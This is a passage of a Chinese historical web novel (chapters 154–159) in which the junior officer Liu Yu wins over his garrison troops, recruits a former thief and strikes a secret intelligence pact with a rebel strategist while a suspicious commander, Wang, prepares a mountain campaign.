“卫所营，从来都是由总旗全权掌管的，我一个大头兵在这里指指点点，大家有怨气我自然理解。” “不过吧，咱后卫营情况比较特殊。” “刘总旗他老人家不爱管事，所以呢，整个卫所营，刘总旗全权交由我来调配。” 第一百五十四章 稳固军心 说着，柳羽却是话锋一转。 声音冷厉且充满杀意： “所以呢，如果你们任何人，有不服我的地方，可以直接去找刘总旗状告，我不拦着。” “但状告完以后，你们该听我的还得听我的，再有不服的，想闹事的，军法处置！” 历经杀伐这么久，柳羽浑身凝练的杀意，可不是闹着玩的。 平时和和气气，嘻嘻哈哈，或许看不出来。 现在眼睛一冷，一嗓子吼出去。 却是震慑得四百名士兵，瞬间噤若寒蝉。 但在震慑完以后，柳羽转而，又露出一副和善的笑颜： “当然啦，我这个人公私分明。” “大家跟着我混，自然要有跟着我混的道理。” “李晟，你上来给大家讲讲，我这里除了要军法之外的其他规矩。” 李晟点头，走上前，从口袋里，掏出一张柳羽写的卫所营规矩，照着上面念道： “后卫营额外规矩，一共三条。” “第一：凡是服从军令阵亡者，除朝廷给家属下发的抚恤金外，柳小旗个人给每人每户，补贴十两纹银。” “第二：凡是服从命令，严格按照柳小旗命令训练、执行者，每隔半月一顿酒肉。” “第三：凡是在柳小旗手下，呆足一个月者，每人额外领取一套新衣服新被褥，且可额外得一两纹银。” “额外规矩一共三条，不会明文记录贴在后卫营，但所有兄弟都听到了，大家可以互相作证，防止柳小旗耍赖皮。” 李晟笑盈盈地朝着所有人道。 四百名士兵，原本以为柳羽说的额外规矩是什么很严苛的东西。 怎么也没想到，居然全都是福利。 要知道，以临县现在的情况。 粮草跟各类补给物资，是很难运进来的。 士兵穿的盖的，全都是去年，甚至是前年下发的破军装跟破被褥。 至于每隔半月一顿酒肉。 现在这情况，卫所营士兵每天能稳定吃上白粥加咸菜就很不容易了，酒肉那是想都不敢想。 四百名士兵当中，绝大部分之前在武汉冲武总督手下，已经将近半年多，没见过荤腥了。 光是想想，就忍不住咽口水。 而在柳羽这，居然只要听话，就能半月一顿酒肉？ 人群里，众人既期待又担忧。 甚至有人直接大声叫了出来： “我们怎么知道，这是不是在骗人呢？” “对啊，武总督都不能让我们吃上肉，你柳羽凭什么！” “你要是骗我们怎么办？” 柳羽轻笑道： “刀在你们手里，你们还怕我骗你？” “怎么，难道你们会傻到，我骗了你们，你们还不拿刀砍我的地步？” 此话一出，所有人哄堂大笑。 反应过来后，都相信了柳羽定的规矩。 肉这东西，当下确实是难搞。 柳羽现在是有钱没物资，本可以直接花钱收买人心的，但柳羽不敢。 四百多个之前武汉冲的手下，人多眼杂，很难保证其中没有两面派。 前脚发了钱收买人心，后脚人把这消息告诉给汪大人。 汪大人过来一问，你柳羽一个小旗，哪儿来的这么多钱往下面发？ 那柳羽可就直接歇菜了。 没办法，柳羽只能退而求其次，从用实际金钱收买人心，变成了给这四百名士兵画大饼。 属于是既收买了人心，又不怕汪大人问。 像现在这样做，如果有人暗地里去报告汪大人，说柳羽许诺后卫营士兵，个个都有肉吃，有新衣服新被褥，甚至是银子领。 汪大人过来问，柳羽完全可以说，我就是说说而已，收买人心嘛。 只要没有真金白银当作实际证据，汪大人根本就没有理由找柳羽麻烦。 毕竟画大饼这种事，现在这世道，哪个当官的不干啊？ 到了这一步，大饼画出去，柳羽算是暂时稳定住了这四百名士兵的军心。 当即就让陆游他们，带着各自手下的兵，在校场上操练起来。 至于那个聂明远，柳羽则是让李晟，单独把他请进了城门楼子。 进屋后，柳羽个木桌火堆边坐着。 聂明远一脸不服气地看着柳羽，等了好一会儿见柳羽叫自己来，却又不搭理直接，直接怒声道： “姓柳的，我先前是得罪了你，但你要是想让我给你跪下磕头赔罪，我只能说，你这是在做梦！” “此处不留爷，自有留爷处，如果你想赶我走，这个兵我还不稀得当呢！” 聂明远说着，转身就想摔门离去。 他刚走到门边，柳羽调侃的声音就传了过来： “现在的年轻人都这么浮躁吗，一小会儿就等不住了？” 聂明远步伐停住，扭头看向柳羽，神情怪异到极致。 要知道，柳羽才二十出手。 聂明远都三十好几了。 而柳羽却说，聂明远是年轻人…这不倒反天罡吗？ 柳羽却一点不在意聂明远神情的异样，反而是笑着道： “明远，你不就是因为，之前在武汉冲那当小旗，在我这只能当大头兵，所以心里有落差，一时间接受不了吗？” “这都是小事，只要你本事够大，在我这别说小旗，副总旗我都能给你当。” 聂明远眉头紧锁，看柳羽的眼神，就像是在看白痴一样： “呵呵，你是在逗我吗？” “口气还真够大的，还给我副总旗当。” “你要能让别人当副总旗，你自己为什么不当？” 柳羽轻笑：“因为没必要，在后卫营我是大头兵还是副总旗，或者是总旗，结果都是一样的。” 聂明远神情更加怪异了。 已经不觉得柳羽是白痴了，而是觉得柳羽纯纯就是脑残。 冷哼一声，当即道： “我没兴趣跟一个脑子不正常的家伙耽误时间，没什么事我就走了，临县呆不了，大不了我逃隔壁沧县去。” 聂明远说着，刚要推门出去，李晟就领着从县衙回来的刘总旗进了门。 不等聂明远疑惑，他就看到了令自己惊掉下巴的一幕。 只见刘总旗进门后，柳羽一个小旗，依旧是坐凳子上跟没事人似的。 而刘总旗居然是一点都不在乎，反而是一个箭步冲到柳羽跟前： “羽哥儿，大事。” “姓汪的特么想刚上任就干出大事来，想这几天里就派人进山，清剿叛军。” 第一百五十五章 只手遮天 柳羽眉头微皱眉。 临县此前，不是没有进山清剿过叛军。 当时雪还没这么大，几个卫所营，一千多号人进山。 结果呢？ 大败而归，死到就剩百十来个士兵活着从山里走了出来。 当时条件那么好，都拿山里的叛军没有办法。 现在大雪封山不说，临县人少，还物资匮乏。 那就更不可能拿山里的叛军有办法了。 而且要是倾巢出动，临县又会陷入无人防守的境地。 这汪大人是疯了吗，想让临县城，再被叛军攻破一次？ 嫌这个冬天，死的人还不够多？ 柳羽多少有点不相信，疑惑的目光望着刘总旗：“当真？” 刘总旗焦急点头： “千真万确。” “我也是今天才知道，这个汪大人，居然特么不是直接冲洛北城来的，他此前是在周口巡查，得知临县这边都指挥使司被截杀了，私自从周口带兵过来的。” 柳羽眼睛瞪大。 这才想起来，洛北城到临县的路途，少说得有三四天。 当时自己是早上，让李晟把都指挥使司被截杀的消息放出去的。 结果晚上汪大人就来了，如果他是从洛北城来的，时间上根本就赶不及。 这特么的，原来他是私调兵马。 柳羽原本以为，自己截杀都指挥使司就已经够猛了，怎么也没有想到，居然有人能比自己更猛。 截杀官兵，私调兵马，都是抄家灭族的大罪。 柳羽截杀都指挥使司官兵，都特么藏着掖着，做了一堆准备呢。 这个汪大人，居然直接明晃晃地私自调兵。 现在朝廷的将军，都这么勇猛的吗？ 不过转念一想，也就没什么好奇怪的了。 柳羽淡淡道： “如此说来，汪大人来临县的目的，是为了抢攻。” “都指挥使司官兵给截杀是大案，叛军更是朝廷的心腹大患，这两起事件搞定一件，那都是天大的功劳。” “也就是说，只要汪大人在朝廷追查下来之前，搞定叛军，他私调兵马朝廷就不会追究，反而是会重重奖赏他。” “这家伙，有意思了。” 刘总旗人都麻了。 汪大人私调兵马，想不被朝廷治罪，那他就必须带着全临县的人，跟叛军死磕。 这可是有可能葬送整个临县的大事，柳羽给出的评价，居然是汪大人有意思？ 刘总旗满心郁闷道： “羽哥儿，我的亲哥啊，你能不能着急一下啊。” “你让我去给汪大人拍马屁，获取他的信任，马屁我拍了，可没想到会拍出个惊雷出来啊。” “咱该咋办，汪大人明天一早就要我安排人进山，调查叛军动向，为对叛军发起总攻做准备。” “该咋办啊哥！” 刘总旗几乎是用乞求的语气，蹲在了柳羽面前，半分总旗的架子都没有。 给旁边的聂明远，整个都看傻了。 柳羽在得知这件大事的情况下，也没功夫搭理聂明远了。 犹豫片刻后，当即道： “问题不大，明天你派人出城，在临县周边随便转一转就行，汪大人要的叛军动向我来解决。” 柳羽虽然知道事情很麻烦，很着急。 却也清楚，汪大人不是傻子。 他来临县，既然是来抢功，来解决叛军的。 那他就一定事先清楚，叛军没那么好对付，光凭他带来的这点人，于事无补，干不成大事。 既然如此，汪大人只要脑子是正常的，就一定有准备后手。 或许，他会联系他的同僚，甚至是都指挥使司调兵过来帮他办成这件事。 所以哪怕再急，也不能急。 现在要做的，就是活着等到汪大人露出后手的那一天。 绝对不能让汪大人当了枪手，白白替他送死。 刘总旗拍马屁还行，但带兵打仗这些，就全然是个饭桶了。 直到听到柳羽开口，情绪这才稳定了些，点头道： “行吧，全听羽哥儿的。” “明天一早汪大人会亲自过来，到时候我看羽哥儿的眼色行事。” 柳羽点头，当下情况，也只好如此了。 刘总旗有了柳羽当主心骨，这才勉强恢复情绪坐下，给自己倒了一大碗水仰头灌下。 直到这时，刘总旗才发现，屋里面除了柳羽跟李晟。 居然还站着一个不认识，且长得贼眉鼠眼的男人。 刘总旗目光看向聂明远，眼神瞬间就冷了下来： “你是干什么，刚才的话，你都听见了？” 刘总旗跟柳羽的关系，是绝对保密的。 此刻朝聂明远问话，刘总旗的话语中，满含杀意。 但凡聂明远回话时说错哪怕一个字，都绝对走不出这扇门。 面对来自总旗的露骨杀意，再加上先前看到刘总旗在柳羽面前，跟个小弟似的模样，聂明远吓得浑身颤抖，满头冷汗。 哆哆嗦嗦好一会儿，才勉强从嘴巴里蹦出一个字来：“卑，卑…” 刺啦！ 刘总旗赫然起身，拔出了腰间长刀。 直到这时，柳羽才抬手，将刘总旗的手给按住： “没事，咱卫所营刚到的小兵而已，不是很服我，我专程给他叫到这教育的。” 刘总旗眼神依旧冰冷： “羽哥儿，他不服你，直接砍了不就行了？” “而且咱们的关系，一旦暴露后果不堪设想。” “我看这个人，没必要留了。” 柳羽轻笑：“没事的，这小子有本事，我留着有大作用。” 柳羽开口，刘总旗自然不敢忤逆。 点头道： “行，羽哥儿你能控制住的话，问题就不大。” 说着，刘总旗便收了刀，默默坐到了一边。 柳羽笑盈盈地朝着聂明远看去： “怎么样，现在信了吗？” 噗通！ 没有任何犹豫，聂明远当场就给柳羽跪了下去： “柳小旗，小的有眼不识泰山，你千万不要跟小的一般见识。” “卑职实在是不知道，您在后卫营，真的是只手遮天啊。” 柳羽眼皮轻挑。 这家伙，还挺有学问，会用成语。 也没有过多怪罪聂明远，柳羽直接道： “现在你可以放心了，我刚才说的话，全部都作数。” 说着，柳羽目光将目光看向李晟： “找块铜锁来，让咱们都看看，聂大盗的本事。” 李晟点头，当即走到门口，直接将门上的铜锁卸下来锁住，递给了聂明远。 朝着聂明远淡淡道： “好好表现，羽哥儿听说你以前是当飞贼的，很看重你。” 第一百五十六章 无君无父 聂明远不敢怠慢。 抓起铜锁看了眼，没有过多犹豫，当即就从衣服口袋里，掏出一根折弯的木棍。 聂明远手拿目光捅进锁扣，轻轻一用力，铜锁就被当场给敲开。 所用时间，连五个呼吸都不到。 柳羽看得眼睛大亮。 笑盈盈道：“撬锁的本事不错，不过我有点好奇，除了撬锁外，你还有哪些办法摸进别人家里？” 聂明远当即如数家珍道： “回柳哥，这法子就多了去了。” “寻常人家，一般是用门闩，这种情况，可以用薄刀片插进门缝，一点点把门闩给敲开。” “像是浮窗这种，一般都是用木削卡，这个时候就需要用到细线加钩子，把木削给钩开。” “至于大户人家，进去没什么难的，主要是大户人家家里通常都有家丁巡逻，怎么避开家丁才是最麻烦的。” 柳羽笑着点头：“那你进过最难的地方，是什么地方？” 这个不等聂明远开口。 刘总旗就没好气道： “柳哥，我记起来了，这小子是咱临县这一代有名的飞贼。” “没记错的话，他进过最难的地方，就是咱临县县衙跟县衙里的大牢。” “他之前胆子大到，跑县衙王县令住的房间偷过钱。” 聂明远被说的，一脸不好意思地低下了头。 柳羽却是越看他越喜欢。 当即拍板道：“可以，有本事就行。” “聂明远，你以后呆我身边就行，放心，好处少不了你的。” 聂明远点头。 此刻对于柳羽，他已经没有了一点脾气。 见聂明远点头同意，柳羽当即开口，让李晟带他出去吃顿好的。 自己则是留在城门楼子里，让刘总旗帮忙磨墨，为明天的事情做准备。 …… 临县群山，豹子山山脚树林。 王五带着五个人，赶了一夜路，终于再度回到这个令他熟悉的地方。 只是王五还没来得及往山上走，就愕然发现头顶传来响动。 王五下意识抬头看去，正好看见头顶树林上一张大网落下，将他跟五名手下，全部都圈在了其中。 紧接着，一伙叛军从树上跳下来，迅速将王五几人控制住，蒙上了眼睛。 等王五再睁开眼时，他已经出现在了豹子山上的山寨木屋当中。 玉军师笑盈盈地坐在他正对面。 萧寒衣平静地站立在玉军师身边。 而萧天元萧统领，手握一柄利剑，悬在王五脖颈上。 “呵呵，王五？” “你不是离开我叛军，跟着柳羽了吗，怎么突然想起回来了？” 玉军师饶有兴致道：“怎么，想家了？” 眼看叛军三巨头都在，王五丝毫不敢怠慢，连忙掏出柳羽给的那封书信，递到玉军师手中。 玉军师接过后，拆开封蜡仅仅只看了一眼，就原封不动将书信丢回给王五。 神情冰冷道：“你确定，柳羽让你带的信，是这一封？” 王五一早知道，柳羽在书信里写明了，自己回叛军，就是来当内奸的。 但当他捡起书信看的时候，看到上面的内容，还是被惊出了一身冷汗。 书信上内容简洁： 玉军师，几日不见，甚是想念。 临县汪大人位临，局势转变，吾深感前景堪忧。 于是命王五返回天军，收集讯息，同时代我向天军众弟兄传达指令。 望尔等看清形势，日后皆以吾命行事。 若有违背，吾必灭之。 还请诸位，好自为之。 山野村夫，柳羽敬上。 王五看清楚书信上的内容，几乎是整个人都麻了。 原本以为，柳羽只是在书信里，跟玉军师说明他是来叛军里当内奸的，顺便说点好话，让玉军师不要轻易杀他。 结果倒好，柳羽跟叛军老大似的，直接让山里所有叛军，都按照他的命令行事。 好嚣张地说，敢不照办，就把叛军灭了。 这……不是害自己吗？ 王五丢下书信，一脸惶恐地看向玉军师： “军，军师，我只是个办事的，信里内容，我，我事先不知道啊。” 一旁的萧天元见王五这副模样，好奇地弯腰捡起书信查看。 仅仅只是扫了一眼，就当场火冒三丈： “什么玩意儿？这个柳羽，他当自己是什么？还命令起我叛军来了！” “军师，你一句话，我立马带人潜进叛军，把柳羽给宰了！” 玉军师却是冷着脸摆手，淡淡道： “柳羽喜欢口出狂言，又不是一次两次了，他什么德行，你不知道？” 诡异的是，对于柳羽书信里的嚣张。 玉军师不在意就算了，就连一旁的萧寒衣，也是完全不在意。 甚至是主动出言替柳羽找补： “临县来了个汪大人，这事昨天我们就知道了。” “现在深冬已过，马上就要开春了，到时候冰雪一融化，朝廷大军能通过官道抵达临县，我们叛军的处境，会抵达最坏的情况。” 玉军师点头： “柳羽的意思，应该是想合作。” “他既不是我们叛军的人，在卫所营当小旗，又犯了抄家灭族的大罪。” “局势一变，我们的日子不好过，柳羽干的事如果败露，下场只会比我们还惨。” 说着，玉军师皱眉思索了起来。 柳羽想合作的可信度，她是不怀疑的。 但她怕。 柳羽这种笑面虎，玉军师没把握压制住。 极度担心帮柳羽，等哪天柳羽成长起来后，反过头来咬她一口。 那到时候，可就真成养虎为患了。 思索着，玉军师看向王五的目光，时不时就有杀意流露出来。 吓得王五脸色惨白，大气都不敢喘一口。 “我觉得，可以试试。” 萧寒衣突然开口道： “咱们手下弟兄太多了，想跑跑不掉，想走走不了。” “总要想办法在明年，给弟兄们找到一口饭吃的。” “说不定柳羽，可以帮到我们。” 玉军师眉头紧锁： “柳羽的能力我不怀疑，我怀疑的是他的人品。” “像他这样无法无天，无君无父的人，很难用常理去推测他，他下一步会干什么。” “我不觉得我是他的对手。” 听到这话，萧寒衣的脸色也并不好看： “这确实需要慎重考虑。” “总觉得柳羽这个人，太过于跳脱了，就好像，他跟我们不是一个时代的一样。” 第一百五十七章 诡谲云涌 在当下时代。 人们普遍尊崇，天地君亲师这种尊卑次序。 忠君、奉孝、守节，明礼。 像截杀都指挥使司官兵这种，背叛国家，背叛君主的事情。 玉军师跟她手下叛军，都不敢放开手脚去干。 要知道，玉军师可是叛军军师啊，明着反叛朝廷的人。 她不敢干。 柳羽还是大头兵的时候，却带着十几个人就把这事给干了。 拿着朝廷的俸禄，干背叛朝廷的事。 忠君这两个字放柳羽身上，就跟放屁似的。 至于守节明礼，那就更不适合柳羽了。 柳羽有多狂妄嚣张，屋里有军师萧天元，哪个没亲眼见证过？ 也就是说，这个时代寻常人普遍都有的属性，柳羽一个没有。 而怪异的是，柳羽特么还是个秀才出身。 是沧县十里八村的俊后生。 玉军师别的不敢确定。 但很确定一点，要是朝廷的秀才，都是柳羽这样的人。 那这个腐朽的朝廷，早就被推翻亡国了。 听到萧天元这话，玉军师沉吟好久以后，成沉声道： “走一步看一步吧。” “我很早前就说过，柳羽这个人看起来没野心，那是因为他的野心太大了，达到常理难以言喻的地步。” 说罢，玉军师直接将目光看向王五： “交代一下吧，柳羽这些天在临县都干了哪些大事。” “他想跟我天军合作，也得有拿得出手的本钱不是？” 王五挠头，一脸苦闷。 柳羽有什么本钱，他当然知道。 问题是，柳羽没跟自己说，他能调动临县一整个卫所营兵马这事，能不能告诉叛军啊。 犹豫半晌，王五才想到一个模棱两可的回答，小心翼翼道： “柳哥的本钱，肯定是足够的。” “别的我不好多说，但我可以保证，在必要的时候，柳哥可以轻易调动临县四分之一的兵马。” 玉军师眼睛瞪大，满脸不敢置信。 依稀记得几天前，柳羽还是个孤家寡人，被临县刘总旗，拿绳子绑着亲手送给自己，任凭自己处置。 这才几天时间？曾经的阶下囚，成长到这个地步了？ “你撒谎！”玉军师冰冷地望着王五道。 王五害怕到极致。 但想到自己背后是柳羽，又不禁有了几分底气。 当着玉军师的面，挺直了胸膛道： “有没有撒谎，我小命就在军师手上，军师随时可以派人去印证一番。” “别的我不敢说，但我可以打包票，只要柳哥想，他绝对能影响临县局势。” 听着王五这话，萧寒衣连忙问道： “难不成，柳羽当上总旗了？” 王五摇头：“没有，但也差不多。” 此话一出，萧寒衣跟玉军师对视一眼，彼此眼中的讶异，一览无余。 深吸一口气，玉军师再看向王五时，脸上有了笑容。 “天元，快，给咱王统领看座。” “哈哈哈，我一早就看出王五你不是犯人，既然回到叛军了，以前的领队身份肯定是不适合你了，就委屈你一下，你暂且在咱天军中，当个统领吧。” 萧天元一脸懵逼。 这就…当统领了？ 几句话的功夫，王五从阶下囚，地位涨到了跟自己持平的地步？ 还不等萧天元反应过来，他爹萧寒衣，亲自将一条木制板凳搬到王五面前。 亲自给王五搬凳子就算了，萧寒衣还一脸亲切道： “王统领，柳羽让你来收集我天军情报，到底是需要哪些方面的情报呢？” 王五见自己安全了，也是一点都不客气： “主要是叛军各小队的藏匿地点，粮草剩余，以及山上的防御地形图。” 玉军师笑着点头： “没问题，等会儿我就将这些信息都整合出来，你派人给柳羽送去就行。” “天元，你先带王统领出去，上上好人酒菜，好好招待王统领。” 王五跟萧天元走后，玉军师神情骤然冰冷。 也没多说什么，直接走到书案上，提笔将柳羽所需要的情报，全部都记录下来。 大致写完后，玉军师抬头朝萧天元看去： “柳羽是个聪明人，给他假的情报，他一眼就能分辨出来。” “因此，除了我们处在深山里的藏身点之外，豹子山一带他想要知道的情报，我全都给他真的。” 萧天元眉头微皱： “有点赌了吧？” “我们的优势，就是地处深山可进可退，这些信息都给柳羽，他一旦带兵进山，后果不堪设想。” 玉军师却是冷哼： “不重要，反正离开春就剩不到一个月了，朝廷大军一道，我们该往深山躲，还是得往深山躲。” “既然如此，不如赌一把柳羽的人品。” 萧天元深吸一口气，无奈点头： “行吧，试试看。” “如果柳羽人品不行，躲进深山之前老夫亲自出手，前往临县要他性命。” …… 次日清晨，城门口，卫所营。 柳羽跟刘总旗，以及手下一群小旗候在城门口，等着汪大人的到来。 不想，等到头顶太阳出来，都没见县衙方向，有人过来的动静。 一直到快正午时分，才见到有一名身穿盔甲的军士，手拿军令，从县衙方向跑了过来。 军士一道，立即朝着刘总旗宣读军令： “刘总旗，汪大人准备在三日之后，带兵进山清缴叛军。” “大人命你，立即调小队人马出城，画出临县周边地形图，同时探查清楚近日叛军的动向，不得有误。” 刘总旗接过军令，眉头微皱： “临县周边地形图县衙里就有，以前的，不能用吗？” 军士摇头： “大人让绘制新的，且不能有丝毫偏差，临县周边三十里范围内的群山，各大要道关口山崖，要分毫不差绘制出来。” “并且，还要标出叛军可能出现，躲藏的地方。” “三日后行军，但凡发现地形图有丝毫偏差，就地军法处置。” 刘总旗眼睛瞪大。 三天时间，绘制方圆三十里范围内地图？ 这要求，别说三天做不到，三十天内不一定能做到啊！ 这不纯纯的难为人吗？ 刘总旗万万不敢相信，这样的军令，是汪大人亲自下的。 小心翼翼道：“除了这些，汪大人还有说什么吗？” 军士点头： “有，三日后汪大人带兵进山，同时周口方向，会有一只千人大军，进驻临县。” 第一百五十八章 玉军师前来 听到这话，刘总旗扭头跟柳羽四目相对，眼中尽是疑惑。 但还不等他多想，报信军士就道： “时间不早了刘总旗，早些派人出城吧。” 刘总旗虽然满心疑惑，但也不好在表面上表现出什么不对劲来，朝着军士咧嘴一笑，顺手间，刘总旗就将一块银子丢到了军士手中。 银子一出手，军士的态度瞬间就变了。 一脸讨好地朝刘总旗笑道： “其实吧，三天绘制出一张新地形图，不算什么难事。” “老的地形图，按照现有地形改一改，不就能用了吗？” “哈哈哈，至于叛军藏身处，周边山林这么大，叛军踪迹又飘忽不定，谁知道今天标注的叛军藏身处，明天还有没有叛军躲这儿呢？” 说罢，军士不再多言，转头就朝县衙方向返回，准备去找汪大人复命。 柳羽跟刘总旗两人，一直目送到军士的背影消失。 确定他不会返回后，刘总旗才眉头紧锁道： “柳哥，这个汪大人绝对不简单。” “咱该咋办？” 柳羽平静道： “还能咋办，听命令呗。” “我带一队人马出城办这件事，你在城里继续找机会拍汪大人马屁。” “只要把汪大人哄开心了，他应该不会太过难为我们，毕竟，伸手不打笑脸人嘛。” 这话说出口，林寒自己都不信。 汪大人来临县，是带着很明确的目标来的。 这种目标明确的家伙，拍马屁说好话，展示忠心啥的用处不大。 换不了他的信任。 但也不重要了。 汪大人作为刘总旗顶头上司，柳羽就是让刘总旗跟他客气客气而已。 也没打算真的让汪大人信任刘总旗。 博取下位者信任，只需要给好处就行了。 想博取上位者的信任太难，柳羽没那么多工夫去研究。 简单收拾了一下。 柳羽让袁羌跟陆游，分别叫上十人，带上够吃三天的干粮，当即就换上便装出了城。 至于李晟等人，柳羽则是让他们留在城里，看好刘总旗家人，免得刘总旗因为自己不在临县失去控制。 一旦刘总旗出现任何不可控的苗头，杀了就是。 尽管对于刘总旗，柳羽用了很多办法，加强对他的控制。 但对于他，柳羽从来就不会彻底放心。 因为一旦刘总旗失控，柳羽跟他手下这群人的性命，全部都会小命不保。 所以信任是一方面，该用的手段也得用。 像刘总旗这样一个关键一环，柳羽绝不允许出现一丁点差错。 …… 冬日暖阳照射在官道上，将路两边挂满白雪的树影子，拉得好长好长。 柳羽一行二十多人，顺着官道缓慢走着。 离开临县三里地左右，陆游却发现，柳羽丝毫没有要让大伙，去勘探周围山林地形的意思，不禁疑惑道： “柳哥，汪大人要的地形图，咱不绘吗？” 柳羽摇头：“废那劲干什么。” “地形图这种东西，事关一场战争的胜败，汪大人不让自己的亲信来绘，让我们绘。” “你觉得就算我们绘了，汪大人就敢用吗？” “之前大雪封山，松阳客栈不是没人吗，咱上那躲三天回临县就成，老地图改一改，也就交上去了。” 陆游嘴巴微张。 多少有点不理解，柳羽为什么选择摆烂。 但又莫名觉得，柳羽说的好像很有道理的样子。 地形图这种东西，不是自己亲手，或是相信的人绘制的，还真就不一定敢用。 柳羽也是说到做到，直接带着二十多人，赶到松阳客栈驻扎。 第一天时，柳羽啥也不干，就让大伙休息。 第二天早上的时候，柳羽来了兴致，怀念以前在山上打猎的日子。 天一亮就带着几个人进松阳客栈前面的树林子里，打了好大一头，少说得有两百斤中的梅花鹿回来，跟大伙一块扒皮烤着吃。 这次出来，柳羽还把小狼崽啸天给带上了。 几天的工夫，啸天浑身的毛发已经长齐。 虽然大多数时候，柳羽都是用动物的血代替母乳喂养啸天。 但现在，啸天已经能吃一点用开水烫过的肉片了。 柳羽带着二十多人，一直在松阳客栈，摸鱼到第三天早上。 这日清晨，屋外飘着密密麻麻的小雪。 柳羽坐在客栈大厅燃烧的火堆边，怀里抱着啸天，一只手拿着肉片，训练啸天进行捕食。 跟啸天玩了差不多半个时辰。 住在客栈楼上的陆游袁羌他们，陆陆续续醒来下楼。 陆游打着哈欠，明显是有点没睡好： “柳哥，第三天了。” “咱们要收拾收拾，返回临县了吗？” 柳羽却是笑着摇头： “不急。” “陆游，你跑得快还是袁羌跑得快？” 听到这话，陆游目光朝着袁羌看去。 还不等他开口，袁羌就挠头道： “柳哥，我这体格太大了，肯定没陆游灵活。” 柳羽点头，当即道： “袁羌，松阳客栈离豹子山脚，就七八里地的路程，跑快点来回一趟四个时辰左右。” “辛苦你去一趟，然后在正午前回来，好跟我们一块回临县。” 陆游挑眉： “是去找王五拿情报吗？” 柳羽点头。 王五回叛军当内奸的事，柳羽在这几天里已经跟陆游说过了。 见状，陆游也不犹豫，当即就动身出门。 可陆游才出去不到半炷香的功夫，就神情难看地退了回来。 柳羽看他的模样，眉头微皱：“怎么了？” “判，叛军。”陆游脸色难看道。 柳羽目光朝着门外看去。 只见玉军师，一席貂皮斗篷，身边跟着手持长剑的萧天元，缓缓朝着客栈走来。 柳羽神色如常。 抬手往冰冷的手里哈了口热气，把手搓热乎了，才面带笑意起身迎接： “玉军师大驾光临，柳某未能迎接，实属对不住。” “哈哈哈，还望玉军师海涵啊。” 玉军师丝毫没跟柳羽客气，大跨步跨过门槛进屋后，直接走到火堆边坐下伸手烤火。 烤了好一会儿后，玉军师才笑盈盈地看向柳羽： “你从临县出来到松阳客栈，明知道我就在豹子山上，这里离豹子山又很近，怎么不上山去坐一坐？” 第一百五十九章 占山为王 “是怕我吗？” 玉军师笑盈盈地望着柳羽道。 柳羽慌忙摆手： “军师说笑了，您如此一位大美人，我柳某也是想念得紧啊。” “实在是有公务在身，不方便。” 听到这话，玉军师笑容更甚了。 看向柳羽的目光，带着三分嘲讽，三分杀意，以及四分的忌惮。 也懒得跟柳羽瞎扯皮。 羽军师朝萧天元递了个眼神过去，萧天元立刻从身上衣服里，取出一张羊皮卷，跟一卷竹简递到柳羽手中。 “羊皮上，是临县周边地形图，上面还标记了我天军在山林建立的防守线，以及各处暗哨安插的位置。” “竹简上，是我天军大致信心，人数、粮草、病患情况，上面均有记载。” 玉军师淡淡道： “你想要的情报，这两样东西上都有，你没想过要的，这上面也有。” “东西给你了，至于你敢不敢信，就是你的事情了。” 话说完，玉军师颇有几分得意。 她在柳羽手上吃过不止一次憋，如今，终于到柳羽难受了。 叛军的机要情报，正常情况下来说，玉军师是绝对不会给柳羽的。 就算给了，柳羽也一定会怀疑，这些情报到底是真的还是假的，或者真假掺半。 但玉军师不仅给，还全给真的。 此刻，玉军师望着手拿情报的柳羽，已经在期待，柳羽皱起眉头，露出难受的神情了。 毕竟想要辨别情报的真假，可不是件容易的事情。 不料，羊皮竹简一入手，柳羽却是咧嘴一笑： “哈哈哈，我就知道玉军师是聪明人。” “这两样东西不用看我就知道，一定是真的！” 玉军师眉头微皱。 不料，就是她皱眉的这个动作，柳羽笑声更大了： “啧啧啧，玉军师啊，你人很聪明，就是山里待久了，演技不行。” “刚才我不确定这两样东西是真的，但我一诈，你一皱眉头，这两样东西的真假，我就可以确定八成了。” 玉军师明显一愣。 这才反应过来，柳羽是在诈自己。 眼中顿时就浮现出愠怒的情绪，玉军师没好气道： “我知道你这个人一向不着调，我懒得跟你闹。” “既然是合作，双方是不是就应该交换一下情报？” “我需要知道，你现在到底发展到什么地步了，还有，那个什么汪大人，他到底是来干什么的？” 面对玉军师的询问，柳羽当即抱着啸天，搁玉军师身边坐下。 合作嘛，自然是要坦诚相待。 玉军师既然主动把叛军的情报给了柳羽，柳羽自然也没必要瞒着她。 直接将自己控制了刘总旗，并从刘总旗口中得知，汪大人是擅自调兵来临县的事情，全盘托了出来。 玉军师听的，眼神越来越冷，脸越来越黑。 到了最后，玉军师美得不像话一双柳叶眉上，满含凝结成实质的杀意： “擅自调兵，不一定就是为了来临县解决我叛军，抢占这个还没人抢占的功劳。” 玉军师声音冷到极致： “柳羽，不知道你有没有听过一个词，叫作占山为王。” 柳羽眉头微皱： “开玩笑的吧？” 柳羽望着玉军师半晌，还是有点不敢相信道： “这，应该不至于吧，朝廷虽然腐败无度，但还不至于到无可挽回的地步吧。” 玉军师说的占山为王，柳羽知道其中意思。 天下大势，分久必合，合久必分。 一个国家整体，灭亡的方式无非两种。 外敌来犯，或是…内部分裂。 但无论哪一种。 灭亡前的征兆，绝大多数是朝廷腐败无度，天下民不聊生。 紧接着，民变四起。 到最后，朝廷对全国各地的控制力度下降。 各地大户、地主、权贵，甚至是富商。 私下招兵买马，锻造甲胄，占地自居。 逐渐发展成一方诸侯。 到了这个时候，天下群雄并起，朝廷彻底失去对地方上的掌控。 一个国家，才会走到彻底四分五裂，无可挽回的地步。 这一过程，往往需要数年，甚至是几十年之久。 玉军师说，汪大人是想占山为王。 意思就是，汪大人已经看出来，国家已经走到分崩离析的边缘了。 所以擅自调兵占据临县，想在乱世当中，成为一方诸侯。 可…不应该啊。 临县民变才发生多久？一年时间都不到。 是，入冬以来，全国粮食短缺，是不止临县一处地方发生民变。 但就算其他地方也有民变发生，也不至于让一个国家，直接走向灭亡啊。 春天一到，粮食播种下去。 调配一下各地资源，撑到夏末等粮食从地里收上来，缺粮的事情一解决，平民百姓都吃上饭了，民变不就自然而然消失了吗？ 汪大人堂堂一个洛北都指挥使司高官，要钱有钱，要女人有女人。 不至于冒着被杀头的风险，擅自调兵在临县占山为王，拥兵自重啊。 “你不信？” 玉军师平静地望着柳羽： “我也不想跟你解释，时间会证明我说的话是真是假。” “哦对，你不是手握幽泉剑吗？幽泉剑，乃是当年靖北王赐给他手下一名名叫楚廿一的近卫的，靖北王出事后，楚廿一距今已经有五六年没露过面了。” 